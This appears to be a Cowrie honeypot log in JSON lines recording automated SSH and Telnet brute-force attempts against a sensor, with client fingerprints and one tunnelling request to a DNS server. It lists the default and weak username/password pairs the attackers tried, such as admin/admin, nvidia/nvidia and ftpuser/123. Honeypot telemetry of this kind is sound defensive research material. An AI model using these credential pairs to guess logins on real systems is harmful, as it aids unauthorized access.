{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:42.337049Z","src_ip":"87.251.64.176","session":"5da50ef8ddcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:42.433189Z","src_ip":"87.251.64.176","session":"5da50ef8ddcd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:42.721999Z","src_ip":"87.251.64.176","session":"5da50ef8ddcd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:42.821061Z","session":"5da50ef8ddcd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:42.922948Z","src_ip":"87.251.64.176","session":"5da50ef8ddcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:43.022510Z","src_ip":"87.251.64.176","session":"5da50ef8ddcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":45822,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9c45bbbb464","protocol":"ssh","message":"New connection: 45.156.87.254:45822 (159.203.135.109:22) [session: e9c45bbbb464]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:44.898282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:44.903859Z","src_ip":"45.156.87.254","session":"e9c45bbbb464","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:44.996783Z","src_ip":"45.156.87.254","session":"e9c45bbbb464","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student123","message":"login attempt [student/student123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:45.254906Z","src_ip":"45.156.87.254","session":"e9c45bbbb464","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:46.348378Z","src_ip":"45.156.87.254","session":"e9c45bbbb464","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":42350,"dst_ip":"10.17.0.5","dst_port":23,"session":"53225396f410","protocol":"telnet","message":"New connection: 104.245.105.2:42350 (10.17.0.5:23) [session: 53225396f410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:46.479499Z"}
{"eventid":"cowrie.session.closed","duration":35.204755783081055,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:47.866359Z","src_ip":"104.245.105.2","session":"0e7a9386cd82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":36310,"dst_ip":"159.203.135.109","dst_port":22,"session":"5fb4cf8bdadf","protocol":"ssh","message":"New connection: 45.156.87.254:36310 (159.203.135.109:22) [session: 5fb4cf8bdadf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:50.649503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:50.654020Z","src_ip":"45.156.87.254","session":"5fb4cf8bdadf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:50.740414Z","src_ip":"45.156.87.254","session":"5fb4cf8bdadf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123","message":"login attempt [ftpuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:51.003310Z","src_ip":"45.156.87.254","session":"5fb4cf8bdadf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:52.091267Z","src_ip":"45.156.87.254","session":"5fb4cf8bdadf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":36312,"dst_ip":"159.203.135.109","dst_port":22,"session":"acd8d8ee6cd4","protocol":"ssh","message":"New connection: 45.156.87.254:36312 (159.203.135.109:22) [session: acd8d8ee6cd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:55.807452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:55.813448Z","src_ip":"45.156.87.254","session":"acd8d8ee6cd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:56.039174Z","src_ip":"45.156.87.254","session":"acd8d8ee6cd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1qaz@WSX","message":"login attempt [user1/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:56.353553Z","src_ip":"45.156.87.254","session":"acd8d8ee6cd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:57.444967Z","src_ip":"45.156.87.254","session":"acd8d8ee6cd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":56482,"dst_ip":"10.17.0.5","dst_port":23,"session":"c13506a845b7","protocol":"telnet","message":"New connection: 20.123.41.163:56482 (10.17.0.5:23) [session: c13506a845b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:00.510343Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":59958,"dst_ip":"159.203.135.109","dst_port":22,"session":"1154ec734a3e","protocol":"ssh","message":"New connection: 45.156.87.254:59958 (159.203.135.109:22) [session: 1154ec734a3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:01.292495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:01.320638Z","src_ip":"45.156.87.254","session":"1154ec734a3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:01.404237Z","src_ip":"45.156.87.254","session":"1154ec734a3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nvidia","password":"nvidia","message":"login attempt [nvidia/nvidia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:01.741012Z","src_ip":"45.156.87.254","session":"1154ec734a3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:02.833014Z","src_ip":"45.156.87.254","session":"1154ec734a3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.168.47","src_port":51862,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa2ebfc3839b","protocol":"ssh","message":"New connection: 182.253.168.47:51862 (10.17.0.5:22) [session: aa2ebfc3839b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:04.099834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:04.105781Z","src_ip":"182.253.168.47","session":"aa2ebfc3839b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:04.392643Z","src_ip":"182.253.168.47","session":"aa2ebfc3839b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":53868,"dst_ip":"10.17.0.5","dst_port":23,"session":"eabd79901b66","protocol":"telnet","message":"New connection: 20.123.41.163:53868 (10.17.0.5:23) [session: eabd79901b66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:04.875191Z"}
{"eventid":"cowrie.session.closed","duration":4.656436920166016,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:05.166633Z","src_ip":"20.123.41.163","session":"c13506a845b7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"jaikne","message":"login attempt [admin/jaikne] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:05.575822Z","src_ip":"182.253.168.47","session":"aa2ebfc3839b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":59966,"dst_ip":"159.203.135.109","dst_port":22,"session":"550d6b66d931","protocol":"ssh","message":"New connection: 45.156.87.254:59966 (159.203.135.109:22) [session: 550d6b66d931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:06.744759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:06.750194Z","src_ip":"45.156.87.254","session":"550d6b66d931","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:06.844697Z","src_ip":"45.156.87.254","session":"550d6b66d931","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:06.871520Z","src_ip":"182.253.168.47","session":"aa2ebfc3839b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"onkar","password":"onkar123","message":"login attempt [onkar/onkar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:07.114725Z","src_ip":"45.156.87.254","session":"550d6b66d931","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:08.202265Z","src_ip":"45.156.87.254","session":"550d6b66d931","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.898916006088257,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:08.773987Z","src_ip":"20.123.41.163","session":"eabd79901b66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":50260,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a7f8c224f34","protocol":"telnet","message":"New connection: 20.123.41.163:50260 (10.17.0.5:23) [session: 7a7f8c224f34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:11.907640Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":39922,"dst_ip":"159.203.135.109","dst_port":22,"session":"8505ab27dd4b","protocol":"ssh","message":"New connection: 45.156.87.254:39922 (159.203.135.109:22) [session: 8505ab27dd4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:11.936550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:11.942806Z","src_ip":"45.156.87.254","session":"8505ab27dd4b","protocol":"ssh"}
